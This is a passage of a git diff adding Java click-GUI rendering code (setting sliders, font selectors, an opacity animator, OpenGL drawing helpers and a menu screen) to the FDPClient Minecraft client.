(moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() - (listValue.openList ? 5 : 6)), yPos + 4, 0xffffff); + + if(mouseX >= moduleElement.getX() + moduleElement.getWidth() + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() && mouseY >= yPos + 2 && mouseY <= yPos + 14) { + if(Mouse.isButtonDown(0) && moduleElement.isntPressed()) { + listValue.openList = !listValue.openList; + mc.getSoundHandler().playSound(PositionedSoundRecord.create(new ResourceLocation("gui.button.press"), 1.0F)); + } + } + + yPos += 12; + + for(final String valueOfList : listValue.getValues()) { + final float textWidth2 = Fonts.minecraftFont.getStringWidth(">" + valueOfList); + + if(moduleElement.getSettingsWidth() < textWidth2 + 12) + moduleElement.setSettingsWidth(textWidth2 + 12); + + if (listValue.openList) { + RenderUtils.drawRect(moduleElement.getX() + moduleElement.getWidth() + 4, yPos + 2, moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth(), yPos + 14, Integer.MIN_VALUE); + + if(mouseX >= moduleElement.getX() + moduleElement.getWidth() + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() && mouseY >= yPos + 2 && mouseY <= yPos + 14) { + if(Mouse.isButtonDown(0) && moduleElement.isntPressed()) { + listValue.set(valueOfList); + mc.getSoundHandler().playSound(PositionedSoundRecord.create(new ResourceLocation("gui.button.press"), 1.0F)); + } + } + + GlStateManager.resetColor(); + Fonts.minecraftFont.drawString(">", moduleElement.getX() + moduleElement.getWidth() + 6, yPos + 4, Integer.MAX_VALUE); + Fonts.minecraftFont.drawString(valueOfList, moduleElement.getX() + moduleElement.getWidth() + 14, yPos + 4, listValue.get() != null && listValue.get().equalsIgnoreCase(valueOfList) ? guiColor : Integer.MAX_VALUE); + yPos += 12; + } + } + }else if(value instanceof FloatValue) { + FloatValue floatValue = (FloatValue) value; + String text = value.getName() + "§f: §c" + round(floatValue.get()); + float textWidth = Fonts.minecraftFont.getStringWidth(text); + + if(moduleElement.getSettingsWidth() < textWidth + 8) + moduleElement.setSettingsWidth(textWidth + 8); + + RenderUtils.drawRect(moduleElement.getX() + moduleElement.getWidth() + 4, yPos + 2, moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth(), yPos + 24, Integer.MIN_VALUE); + RenderUtils.drawRect(moduleElement.getX() + moduleElement.getWidth() + 8, yPos + 18, moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() - 4, yPos + 19, Integer.MAX_VALUE); + float sliderValue = moduleElement.getX() + moduleElement.getWidth() + ((moduleElement.getSettingsWidth() - 12) * (floatValue.get() - floatValue.getMinimum()) / (floatValue.getMaximum() - floatValue.getMinimum())); + RenderUtils.drawRect(8 + sliderValue, yPos + 15, sliderValue + 11, yPos + 21, guiColor); + + if(mouseX >= moduleElement.getX() + moduleElement.getWidth() + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() - 4 && mouseY >= yPos + 15 && mouseY <= yPos + 21) { + if(Mouse.isButtonDown(0)) { + double i = MathHelper.clamp_double((mouseX - moduleElement.getX() - moduleElement.getWidth() - 8) / (moduleElement.getSettingsWidth() - 12), 0, 1); + floatValue.set(round((float) (floatValue.getMinimum() + (floatValue.getMaximum() - floatValue.getMinimum()) * i)).floatValue()); + } + } + + GlStateManager.resetColor(); + Fonts.minecraftFont.drawString(text, moduleElement.getX() + moduleElement.getWidth() + 6, yPos + 4, 0xffffff); + yPos += 22; + }else if(value instanceof IntegerValue) { + IntegerValue integerValue = (IntegerValue) value; + String text = value.getName() + "§f: §c" + (value instanceof BlockValue ? BlockUtils.getBlockName(integerValue.get()) + " (" + integerValue.get() + ")" : integerValue.get()); + float textWidth = Fonts.minecraftFont.getStringWidth(text); + + if(moduleElement.getSettingsWidth() < textWidth + 8) + moduleElement.setSettingsWidth(textWidth + 8); + + RenderUtils.drawRect(moduleElement.getX() + moduleElement.getWidth() + 4, yPos + 2, moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth(), yPos + 24, Integer.MIN_VALUE); + RenderUtils.drawRect(moduleElement.getX() + moduleElement.getWidth() + 8, yPos + 18, moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() - 4, yPos + 19, Integer.MAX_VALUE); + float sliderValue = moduleElement.getX() + moduleElement.getWidth() + ((moduleElement.getSettingsWidth() - 12) * (integerValue.get() - integerValue.getMinimum()) / (integerValue.getMaximum() - integerValue.getMinimum())); + RenderUtils.drawRect(8 + sliderValue, yPos + 15, sliderValue + 11, yPos + 21, guiColor); + + if(mouseX >= moduleElement.getX() + moduleElement.getWidth() + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() && mouseY >= yPos + 15 && mouseY <= yPos + 21) { + if(Mouse.isButtonDown(0)) { + double i = MathHelper.clamp_double((mouseX - moduleElement.getX() - moduleElement.getWidth() - 8) / (moduleElement.getSettingsWidth() - 12), 0, 1); + integerValue.set((int) (integerValue.getMinimum() + (integerValue.getMaximum() - integerValue.getMinimum()) * i)); + } + } + + GlStateManager.resetColor(); + Fonts.minecraftFont.drawString(text, moduleElement.getX() + moduleElement.getWidth() + 6, yPos + 4, 0xffffff); + yPos += 22; + }else if(value instanceof FontValue) { + final FontValue fontValue = (FontValue) value; + final FontRenderer fontRenderer = fontValue.get(); + + RenderUtils.drawRect(moduleElement.getX() + moduleElement.getWidth() + 4, yPos + 2, moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth(), yPos + 14, Integer.MIN_VALUE); + + String displayString = "Font: Unknown"; + + if (fontRenderer instanceof GameFontRenderer) { + final GameFontRenderer liquidFontRenderer = (GameFontRenderer) fontRenderer; + + displayString = "Font: " + liquidFontRenderer.getDefaultFont().getFont().getName() + " - " + liquidFontRenderer.getDefaultFont().getFont().getSize(); + }else if(fontRenderer == Fonts.minecraftFont) + displayString = "Font: Minecraft"; + else{ + final Object[] objects = Fonts.getFontDetails(fontRenderer); + + if(objects != null) { + displayString = objects[0] + ((int) objects[1] != -1 ? " - " + objects[1] : ""); + } + } + + Fonts.minecraftFont.drawString(displayString, moduleElement.getX() + moduleElement.getWidth() + 6, yPos + 4, Color.WHITE.getRGB()); + int stringWidth = Fonts.minecraftFont.getStringWidth(displayString); + + if(moduleElement.getSettingsWidth() < stringWidth + 8) + moduleElement.setSettingsWidth(stringWidth + 8); + + if((Mouse.isButtonDown(0) && !mouseDown || Mouse.isButtonDown(1) && !rightMouseDown) && mouseX >= moduleElement.getX() + moduleElement.getWidth() + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() && mouseY >= yPos + 4 && mouseY <= yPos + 12) { + final List<FontRenderer> fonts = Fonts.getFonts(); + + if(Mouse.isButtonDown(0)) { + for(int i = 0; i < fonts.size(); i++) { + final FontRenderer font = fonts.get(i); + + if(font == fontRenderer) { + i++; + + if(i >= fonts.size()) + i = 0; + + fontValue.set(fonts.get(i)); + break; + } + } + }else{ + for(int i = fonts.size() - 1; i >= 0; i--) { + final FontRenderer font = fonts.get(i); + + if(font == fontRenderer) { + i--; + + if(i >= fonts.size()) + i = 0; + + if(i < 0) + i = fonts.size() - 1; + + fontValue.set(fonts.get(i)); + break; + } + } + } + } + + yPos += 11; + }else{ + String text = value.getName() + "§f: §c" + value.get(); + float textWidth = Fonts.minecraftFont.getStringWidth(text); + + if(moduleElement.getSettingsWidth() < textWidth + 8) + moduleElement.setSettingsWidth(textWidth + 8); + + RenderUtils.drawRect(moduleElement.getX() + moduleElement.getWidth() + 4, yPos + 2, moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth(), yPos + 14, Integer.MIN_VALUE); + GlStateManager.resetColor(); + Fonts.minecraftFont.drawString(text, moduleElement.getX() + moduleElement.getWidth() + 6, yPos + 4, 0xffffff); + yPos += 12; + } + } + + moduleElement.updatePressed(); + mouseDown = Mouse.isButtonDown(0); + rightMouseDown = Mouse.isButtonDown(1); + + if(moduleElement.getSettingsWidth() > 0F && yPos > moduleElement.getY() + 4) + RenderUtils.drawBorderedRect(moduleElement.getX() + moduleElement.getWidth() + 4, moduleElement.getY() + 6, moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth(), yPos + 2, 1F, Integer.MIN_VALUE, 0); + } + } + } + + private BigDecimal round(final float f) { + BigDecimal bd = new BigDecimal(Float.toString(f)); + bd = bd.setScale(2, 4); + return bd; + } +} + diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/Slight/Opacity.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/Slight/Opacity.java new file mode 100644 index 0000000..880ca57 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/Slight/Opacity.java @@ -0,0 +1,38 @@ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.Slight; + +import net.ccbluex.liquidbounce.ui.client.gui.AnimationUtil; + +public class Opacity { + + private float opacity; + private long lastMS; + + public Opacity(int opacity) { + this.opacity = (float) opacity; + this.lastMS = System.currentTimeMillis(); + } + + public void interpolate(float targetOpacity) { + long currentMS = System.currentTimeMillis(); + long delta = currentMS - this.lastMS; + + this.lastMS = currentMS; + this.opacity = AnimationUtil.calculateCompensation(targetOpacity, this.opacity, delta, 20); + } + + public void interp(float targetOpacity, int speed) { + long currentMS = System.currentTimeMillis(); + long delta = currentMS - this.lastMS; + + this.lastMS = currentMS; + this.opacity = AnimationUtil.calculateCompensation(targetOpacity, this.opacity, delta, speed); + } + + public float getOpacity() { + return (float) ((int) this.opacity); + } + + public void setOpacity(float opacity) { + this.opacity = opacity; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/Slight/RenderUtil.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/Slight/RenderUtil.java new file mode 100644 index 0000000..277514c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/Slight/RenderUtil.java @@ -0,0 +1,321 @@ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.Slight; + +import net.minecraft.client.Minecraft; +import net.minecraft.client.gui.Gui; +import net.minecraft.client.gui.ScaledResolution; +import net.minecraft.client.renderer.*; +import net.minecraft.client.renderer.culling.Frustum; +import net.minecraft.client.renderer.vertex.DefaultVertexFormats; +import net.minecraft.client.shader.Framebuffer; +import net.minecraft.util.ResourceLocation; +import org.lwjgl.opengl.EXTFramebufferObject; +import org.lwjgl.opengl.GL11; + +import java.awt.*; + +public enum RenderUtil { + + ; + + public static int reAlpha(int color, float alpha) { + Color c = new Color(color); + float r = 0.003921569F * (float) c.getRed(); + float g = 0.003921569F * (float) c.getGreen(); + float b = 0.003921569F * (float) c.getBlue(); + + return (new Color(r, g, b, alpha)).getRGB(); + } + + public static void drawGradientRect2(double left, double top, double right, double bottom, int startColor, int endColor) { + float sa = (float) (startColor >> 24 & 255) / 255.0F; + float sr = (float) (startColor >> 16 & 255) / 255.0F; + float sg = (float) (startColor >> 8 & 255) / 255.0F; + float sb = (float) (startColor & 255) / 255.0F; + float ea = (float) (endColor >> 24 & 255) / 255.0F; + float er = (float) (endColor >> 16 & 255) / 255.0F; + float eg = (float) (endColor >> 8 & 255) / 255.0F; + float eb = (float) (endColor & 255) / 255.0F; + + GlStateManager.disableTexture2D(); + GlStateManager.enableBlend(); + GlStateManager.disableAlpha(); + GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0); + GlStateManager.shadeModel(7425); + Tessellator tessellator = Tessellator.getInstance(); + WorldRenderer worldrenderer = tessellator.getWorldRenderer(); + + worldrenderer.begin(7, DefaultVertexFormats.POSITION_COLOR); + worldrenderer.pos(left, bottom, 0.0D).color(sr, sg, sb, sa).endVertex(); + worldrenderer.pos(right, bottom, 0.0D).color(er, eg, eb, ea).endVertex(); + worldrenderer.pos(right, top, 0.0D).color(er, eg, eb, ea).endVertex(); + worldrenderer.pos(left, top, 0.0D).color(sr, sg, sb, sa).endVertex(); + tessellator.draw(); + GlStateManager.shadeModel(7424); + GlStateManager.disableBlend(); + GlStateManager.enableAlpha(); + GlStateManager.enableTexture2D(); + } + + public static void drawDimRect(double x, double y, double x2, double y2, int col1) { + drawRect(x, y, x2, y2, col1); + float f2 = (float) (col1 >> 16 & 255) / 255.0F; + float f3 = (float) (col1 >> 8 & 255) / 255.0F; + float f4 = (float) (col1 & 255) / 255.0F; + + GL11.glEnable(3042); + GL11.glDisable(3553); + GL11.glBlendFunc(770, 771); + GL11.glEnable(2848); + GL11.glPushMatrix(); + GL11.glColor4f(f2, f3, f4, 0.2F); + GL11.glLineWidth(2.0F); + GL11.glBegin(1); + GL11.glVertex2d(x, y); + GL11.glVertex2d(x, y2); + GL11.glVertex2d(x2, y2); + GL11.glVertex2d(x2, y); + GL11.glVertex2d(x, y); + GL11.glVertex2d(x2, y); + GL11.glVertex2d(x, y2); + GL11.glVertex2d(x2, y2); + GL11.glEnd(); + GL11.glPopMatrix(); + GL11.glEnable(3553); + GL11.glDisable(3042); + GL11.glDisable(2848); + } + + public static int height() { + return (new ScaledResolution(Minecraft.getMinecraft())).getScaledHeight(); + } + + + public static double getAnimationState(double animation, double finalState, double speed) { + float add = (float) (0.01D * speed); + + animation = animation < finalState ? (animation + (double) add < finalState ? animation + (double) add : finalState) : (animation - (double) add > finalState ? animation - (double) add : finalState); + return animation; + } + + public static void drawImage(ResourceLocation image, int x, int y, int width, int height2) { + drawImage(image, x, y, width, height2, 1.0F); + } + + public static void drawImage(ResourceLocation image, int x, int y, int width, int height2, float alpha) { + new ScaledResolution(Minecraft.getMinecraft()); + GL11.glDisable(2929); + GL11.glEnable(3042); + GL11.glDepthMask(false); + OpenGlHelper.glBlendFunc(770, 771, 1, 0); + GL11.glColor4f(1.0F, 1.0F, 1.0F, alpha); + Minecraft.getMinecraft().getTextureManager().bindTexture(image); + Gui.drawModalRectWithCustomSizedTexture(x, y, 0.0F, 0.0F, width, height2, (float) width, (float) height2); + GL11.glDepthMask(true); + GL11.glDisable(3042); + GL11.glEnable(2929); + } + + public static void doGlScissor(int x, int y, int width, int height2) { + Minecraft mc = Minecraft.getMinecraft(); + int scaleFactor = 1; + int k = mc.gameSettings.guiScale; + + if (k == 0) { + k = 1000; + } + + while (scaleFactor < k && mc.displayWidth / (scaleFactor + 1) >= 320 && mc.displayHeight / (scaleFactor + 1) >= 240) { + ++scaleFactor; + } + + GL11.glScissor(x * scaleFactor, mc.displayHeight - (y + height2) * scaleFactor, width * scaleFactor, height2 * scaleFactor); + } + + public static void drawRect(float left, float top, float right, float bottom, int color) { + float f3; + + if (left < right) { + f3 = left; + left = right; + right = f3; + } + + if (top < bottom) { + f3 = top; + top = bottom; + bottom = f3; + } + + f3 = (float) (color >> 24 & 255) / 255.0F; + float f = (float) (color >> 16 & 255) / 255.0F; + float f1 = (float) (color >> 8 & 255) / 255.0F; + float f2 = (float) (color & 255) / 255.0F; + Tessellator tessellator = Tessellator.getInstance(); + WorldRenderer WorldRenderer2 = tessellator.getWorldRenderer(); + + GlStateManager.enableBlend(); + GlStateManager.disableTexture2D(); + GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0); + GlStateManager.color(f, f1, f2, f3); + WorldRenderer2.begin(7, DefaultVertexFormats.POSITION); + WorldRenderer2.pos((double) left, (double) bottom, 0.0D).endVertex(); + WorldRenderer2.pos((double) right, (double) bottom, 0.0D).endVertex(); + WorldRenderer2.pos((double) right, (double) top, 0.0D).endVertex(); + WorldRenderer2.pos((double) left, (double) top, 0.0D).endVertex(); + tessellator.draw(); + GlStateManager.enableTexture2D(); + GlStateManager.disableBlend(); + } + + public static void circle(float x, float y, float radius, int fill) { + arc(x, y, 0.0F, 360.0F, radius, fill); + } + + public static void circle(float x, float y, float radius, Color fill) { + arc(x, y, 0.0F, 360.0F, radius, fill); + } + + public static void arc(float x, float y, float start, float end, float radius, int color) { + arcEllipse(x, y, start, end, radius, radius, color); + } + + public static void arc(float x, float y, float start, float end, float radius, Color color) { + arcEllipse(x, y, start, end, radius, radius, color); + } + + public static void arcEllipse(float x, float y, float start, float end, float w, float h, int color) { + GlStateManager.color(0.0F, 0.0F, 0.0F); + GL11.glColor4f(0.0F, 0.0F, 0.0F, 0.0F); + float temp = 0.0F; + + if (start > end) { + temp = end; + end = start; + start = temp; + } + + float f = (float) (color >> 24 & 255) / 255.0F; + float f1 = (float) (color >> 16 & 255) / 255.0F; + float f2 = (float) (color >> 8 & 255) / 255.0F; + float f3 = (float) (color & 255) / 255.0F; + + GlStateManager.enableBlend(); + GlStateManager.disableTexture2D(); + GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0); + GlStateManager.color(f1, f2, f3, f); + float ldy; + float ldx; + float i; + + if (f > 0.5F) { + GL11.glEnable(2848); + GL11.glLineWidth(2.0F); + GL11.glBegin(3); + + for (i = end; i >= start; i -= 4.0F) { + ldx = (float) Math.cos((double) i * 3.141592653589793D / 180.0D) * w * 1.001F; + ldy = (float) Math.sin((double) i * 3.141592653589793D / 180.0D) * h * 1.001F; + GL11.glVertex2f(x + ldx, y + ldy); + } + + GL11.glEnd(); + GL11.glDisable(2848); + } + + GL11.glBegin(6); + + for (i = end; i >= start; i -= 4.0F) { + ldx = (float) Math.cos((double) i * 3.141592653589793D / 180.0D) * w; + ldy = (float) Math.sin((double) i * 3.141592653589793D / 180.0D) * h; + GL11.glVertex2f(x + ldx, y + ldy); + } + + GL11.glEnd(); + GlStateManager.enableTexture2D(); + GlStateManager.disableBlend(); + } + + public static void arcEllipse(float x, float y, float start, float end, float w, float h, Color color) { + GlStateManager.color(0.0F, 0.0F, 0.0F); + GL11.glColor4f(0.0F, 0.0F, 0.0F, 0.0F); + float temp = 0.0F; + + if (start > end) { + temp = end; + end = start; + start = temp; + } + + GlStateManager.enableBlend(); + GlStateManager.disableTexture2D(); + GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0); + GlStateManager.color((float) color.getRed() / 255.0F, (float) color.getGreen() / 255.0F, (float) color.getBlue() / 255.0F, (float) color.getAlpha() / 255.0F); + float ldy; + float ldx; + float i; + + if ((float) color.getAlpha() > 0.5F) { + GL11.glEnable(2848); + GL11.glLineWidth(2.0F); + GL11.glBegin(3); + + for (i = end; i >= start; i -= 4.0F) { + ldx = (float) Math.cos((double) i * 3.141592653589793D / 180.0D) * w * 1.001F; + ldy = (float) Math.sin((double) i * 3.141592653589793D / 180.0D) * h * 1.001F; + GL11.glVertex2f(x + ldx, y + ldy); + } + + GL11.glEnd(); + GL11.glDisable(2848); + } + + GL11.glBegin(6); + + for (i = end; i >= start; i -= 4.0F) { + ldx = (float) Math.cos((double) i * 3.141592653589793D / 180.0D) * w; + ldy = (float) Math.sin((double) i * 3.141592653589793D / 180.0D) * h; + GL11.glVertex2f(x + ldx, y + ldy); + } + + GL11.glEnd(); + GlStateManager.enableTexture2D(); + GlStateManager.disableBlend(); + } + + public static void drawRect(double d, double e, double g, double h, int color) { + int f3; + + if (d < g) { + f3 = (int) d; + d = g; + g = (double) f3; + } + + if (e < h) { + f3 = (int) e; + e = h; + h = (double) f3; + } + + float f31 = (float) (color >> 24 & 255) / 255.0F; + float f = (float) (color >> 16 & 255) / 255.0F; + float f1 = (float) (color >> 8 & 255) / 255.0F; + float f2 = (float) (color & 255) / 255.0F; + Tessellator tessellator = Tessellator.getInstance(); + WorldRenderer worldrenderer = tessellator.getWorldRenderer(); + + GlStateManager.enableBlend(); + GlStateManager.disableTexture2D(); + GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0); + GlStateManager.color(f, f1, f2, f31); + worldrenderer.begin(7, DefaultVertexFormats.POSITION); + worldrenderer.pos(d, h, 0.0D).endVertex(); + worldrenderer.pos(g, h, 0.0D).endVertex(); + worldrenderer.pos(g, e, 0.0D).endVertex(); + worldrenderer.pos(d, e, 0.0D).endVertex(); + tessellator.draw(); + GlStateManager.enableTexture2D(); + GlStateManager.disableBlend(); + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/Slight/SlightUI.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/Slight/SlightUI.java new file mode 100644 index 0000000..8107bfc --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/Slight/SlightUI.java @@ -0,0 +1,445 @@ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.Slight; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.features.module.Module; +import net.ccbluex.liquidbounce.features.module.ModuleCategory; +import net.ccbluex.liquidbounce.features.value.*; +import net.ccbluex.liquidbounce.ui.font.Fonts; +import net.ccbluex.liquidbounce.ui.font.GameFontRenderer; +import net.ccbluex.liquidbounce.utils.render.Colors; +import net.ccbluex.liquidbounce.utils.timer.TimerUtils; +import net.minecraft.client.Minecraft; +import net.minecraft.client.gui.Gui; +import net.minecraft.client.gui.GuiScreen; +import net.minecraft.client.gui.GuiYesNoCallback; +import net.minecraft.client.gui.ScaledResolution; +import net.minecraft.util.ResourceLocation; +import org.lwjgl.input.Mouse; +import org.lwjgl.opengl.GL11; + +import java.awt.*; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.Iterator; +import java.util.Map; + +public class SlightUI extends GuiScreen implements GuiYesNoCallback { + + public static ModuleCategory currentModuleType = ModuleCategory.COMBAT; + public static Module currentModule = (Module) FDPClient.moduleManager.getModuleInCategory(currentModuleType).get(0); + public static float startX = 100.0F; + public static float startY = 85.0F; + public float moduleStart = 0.0F; + public int valueStart = 0; + boolean previousmouse = true; + boolean mouse; + boolean MIND = false; + public Opacity opacity = new Opacity(0); + public int opacityx = 255; + public float animationopacity = 0.0F; + public float animationMN = 0.0F; + public float animationX = 0.0F; + public float animationY = 0.0F; + public float moveX = 0.0F; + public float moveY = 0.0F; + private Color buttonColor = new Color(0, 0, 0); + public GameFontRenderer LogoFont; + boolean bind; + TimerUtils AnimationTimer; + private boolean isDraging; + private boolean clickNotDraging; + float animationDWheel; + int finheight; + float animheight; + public ArrayList modBooleanValue; + public ArrayList modModeValue; + public ArrayList modDoubleValue; + public ArrayList modIntValue; + public static Map doubleValueMap = new HashMap(); + public static Map IntValueMap = new HashMap(); + + public SlightUI() { + this.LogoFont = Fonts.fontSFUI35; + this.bind = false; + this.AnimationTimer = new TimerUtils(); + this.animheight = 0.0F; + this.modBooleanValue = new ArrayList(); + this.modModeValue = new ArrayList(); + this.modDoubleValue = new ArrayList(); + this.modIntValue = new ArrayList(); + } + + public void drawScreen(int mouseX, int mouseY, float partialTicks) { + if (this.isHovered(startX - 10.0F, startY - 40.0F, startX + 280.0F, startY + 25.0F, mouseX, mouseY) && Mouse.isButtonDown(0)) { + if (this.moveX == 0.0F && this.moveY == 0.0F) { + this.moveX = (float) mouseX - startX; + this.moveY = (float) mouseY - startY; + } else { + startX = (float) mouseX - this.moveX; + startY = (float) mouseY - this.moveY; + } + + this.previousmouse = true; + } else if (this.moveX != 0.0F || this.moveY != 0.0F) { + this.moveX = 0.0F; + this.moveY = 0.0F; + } + + float scale = 1.0F; + ScaledResolution sr = new ScaledResolution(this.mc); + + if (sr.getScaledHeight() > 420 && sr.getScaledWidth() > 570) { + scale = 1.0F; + } else { + scale = 0.8F; + } + + RenderUtil.drawImage(new ResourceLocation("fdpclient/ui/clickgui/slight/background.png"), 0, 0, (int) ((float) sr.getScaledWidth() * (1.0F / scale)), (int) ((float) sr.getScaledHeight() * (1.0F / scale))); + this.opacity.interpolate((float) this.opacityx); + boolean countMod = false; + int[] counter = new int[1]; + int rainbowCol = UISlider.rainbow(System.nanoTime() * 3L, (float) counter[0], 1.0F).getRGB(); + Color col = new Color(rainbowCol); + int Ranbow = (new Color(0, col.getGreen() / 3 + 40, col.getGreen() / 2 + 100)).getRGB(); + int Ranbow1 = (new Color(0, col.getGreen() / 4 + 20, col.getGreen() / 2 + 100)).getRGB(); + + RenderUtil.drawDimRect((double) (startX - 40.0F), (double) (startY - 10.0F), (double) (startX + 300.0F), (double) (startY + 260.0F), Colors.getColor(32, 32, 32)); + RenderUtil.drawGradientRect2((double) (startX - 40.0F), (double) (startY - 12.0F), (double) (startX + 300.0F), (double) (startY - 10.0F), Ranbow, (new Color(4555775)).getRGB()); + RenderUtil.drawRect(startX + 65.0F, startY + 25.0F, startX + 165.0F, startY + 30.0F, (new Color(25, 145, 220)).getRGB()); + + int m; + + for (m = 0; m < ModuleCategory.values().length; ++m) { + ModuleCategory[] mY = ModuleCategory.values(); + + if (mY[m] == currentModuleType) { + this.finheight = m * 30; + RenderUtil.drawGradientRect2((double) (startX - 30.0F), (double) (startY + 30.0F + this.animheight), (double) (startX - 29.0F), (double) (startY + 40.0F + this.animheight), Ranbow, (new Color(4555775)).getRGB()); + this.animheight = (float) RenderUtil.getAnimationState((double) this.animheight, (double) this.finheight, (double) Math.max(100.0F, Math.abs((float) this.finheight - this.animheight) * 10.0F)); + if (this.animheight == (float) this.finheight) { + Fonts.fontSFUI35.drawString(mY[m].name(), startX - 25.0F, startY + 30.0F + (float) (m * 30), (new Color(255, 255, 255)).getRGB()); + } else { + Fonts.fontSFUI35.drawString(mY[m].name(), startX - 25.0F, startY + 30.0F + (float) (m * 30), (new Color(196, 196, 196)).getRGB()); + } + } else { + RenderUtil.drawRect(startX - 25.0F, startY + 50.0F + (float) (m * 30), startX + 60.0F, startY + 75.0F + (float) (m * 30), (new Color(255, 255, 255, 0)).getRGB()); + Fonts.fontSFUI35.drawString(mY[m].name(), startX - 25.0F, startY + 30.0F + (float) (m * 30), (new Color(196, 196, 196)).getRGB()); + } + + try { + if (this.isCategoryHovered(startX - 40.0F, startY + 20.0F + (float) (m * 30), startX + 60.0F, startY + 45.0F + (float) (m * 40), mouseX, mouseY) && Mouse.isButtonDown(0) && !this.MIND) { + currentModuleType = mY[m]; + currentModule = FDPClient.moduleManager.getModuleInCategory(currentModuleType).size() != 0 ? (Module) FDPClient.moduleManager.getModuleInCategory(currentModuleType).get(0) : null; + this.moduleStart = 0.0F; + } + } catch (Exception exception) { + System.err.println(exception); + } + } + + m = Mouse.getDWheel(); + if (this.isCategoryHovered(startX + 60.0F, startY, startX + 200.0F, startY + 235.0F, mouseX, mouseY) && !this.MIND) { + if (m < 0 && this.moduleStart < (float) (FDPClient.moduleManager.getModuleInCategory(currentModuleType).size() - 1)) { + ++this.moduleStart; + this.animationDWheel = (float) RenderUtil.getAnimationState((double) this.animationDWheel, 1.0D, 50.0D); + Minecraft.getMinecraft().thePlayer.playSound("random.click", 0.2F, 2.0F); + } + + if (m > 0 && this.moduleStart > 0.0F) { + --this.moduleStart; + this.moduleStart = (float) RenderUtil.getAnimationState((double) this.moduleStart, -1.0D, 50.0D); + Minecraft.getMinecraft().thePlayer.playSound("random.click", 0.2F, 2.0F); + } + } else { + this.animationDWheel = 0.0F; + } + + if (this.isCategoryHovered(startX - 40.0F, startY - 10.0F, startX + 300.0F, startY + 240.0F, mouseX, mouseY) && this.MIND) { + if (m < 0 && this.valueStart < currentModule.getValues().size() - 1) { + ++this.valueStart; + } + + if (m > 0 && this.valueStart > 0) { + --this.valueStart; + } + } + + if (currentModule != null) { + this.modBooleanValue.clear(); + this.modModeValue.clear(); + this.modDoubleValue.clear(); + this.modIntValue.clear(); + float f = startY + 30.0F; + + int font; + + for (font = 0; font < FDPClient.moduleManager.getModuleInCategory(currentModuleType).size(); ++font) { + Module value = (Module) FDPClient.moduleManager.getModuleInCategory(currentModuleType).get(font); + + if (f > startY + 220.0F) { + break; + } + + if ((float) font >= this.moduleStart) { + RenderUtil.drawRect(startX + 75.0F, f, startX + 185.0F, f + 2.0F, (new Color(246, 246, 246, 100)).getRGB()); + if (!value.getState()) { + RenderUtil.drawDimRect((double) (startX + 50.0F), (double) (f - 5.0F), (double) (startX + 285.0F), (double) (f + 20.0F), (new Color(38, 38, 37)).getRGB()); + if (SlightUI.currentModule.getValues().size() > 0) { + RenderUtil.drawDimRect((double) (startX + 270.0F), (double) (f - 5.0F), (double) (startX + 285.0F), (double) (f + 20.0F), (new Color(44, 44, 45)).getRGB()); + RenderUtil.circle(startX + 277.0F, f + 2.0F, 0.7F, new Color(95, 95, 95)); + RenderUtil.circle(startX + 277.0F, f + 7.0F, 0.7F, new Color(95, 95, 95)); + RenderUtil.circle(startX + 277.0F, f + 12.0F, 0.7F, new Color(95, 95, 95)); + } + } else { + RenderUtil.drawDimRect((double) (startX + 50.0F), (double) (f - 5.0F), (double) (startX + 285.0F), (double) (f + 20.0F), (new Color(55, 55, 55)).getRGB()); + } + + if (this.isSettingsButtonHovered(startX + 65.0F, f, startX + 285.0F, f + 8.0F + (float) Fonts.fontSFUI35.getStringWidth(""), mouseX, mouseY) && !this.MIND) { + this.animationopacity = (float) RenderUtil.getAnimationState((double) this.animationopacity, 0.30000001192092896D, 20.0D); + this.animationMN = (float) RenderUtil.getAnimationState((double) this.animationMN, 10.0D, 100.0D); + if (!value.getState()) { + Fonts.fontSFUI35.drawString(value.getName(), startX + 70.0F + this.animationMN, f + 4.0F, (new Color(240, 240, 240)).getRGB(), false); + } else { + Fonts.fontSFUI35.drawString(value.getName(), startX + 70.0F + this.animationMN, f + 4.0F, (new Color(255, 255, 255)).getRGB(), false); + } + } else { + this.animationopacity = (float) RenderUtil.getAnimationState((double) this.animationopacity, 0.0D, 20.0D); + this.animationMN = (float) RenderUtil.getAnimationState((double) this.animationMN, 0.0D, 100.0D); + if (value.getState()) { + 